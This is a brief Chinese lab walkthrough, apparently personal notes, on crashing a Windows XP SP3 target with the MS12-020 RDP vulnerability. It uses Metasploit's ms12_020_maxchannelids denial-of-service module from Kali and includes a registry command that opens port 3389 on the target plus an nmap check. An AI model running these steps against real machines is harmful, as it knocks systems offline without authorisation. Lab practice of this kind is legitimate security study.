ms12_020漏洞致蓝屏
1、准备:攻击机kali,靶机winxpen sp3
2、打开metasploit
3、查找ms12_020:search ms12_020
4、使用第一个：use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
5、查看：show options
6、设置目标主机IP：setRHOST192.168.199.143（靶机IP）
打开靶机3389端口（在靶机上用命令行设置）：REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
6、可以了：run或者exploit
7、目标主机：蓝屏、重启
8、问题总结：开始靶机的3389端口没有打开，可以用nmap扫描：namp -v 192.168.199.143查看端口开启情况。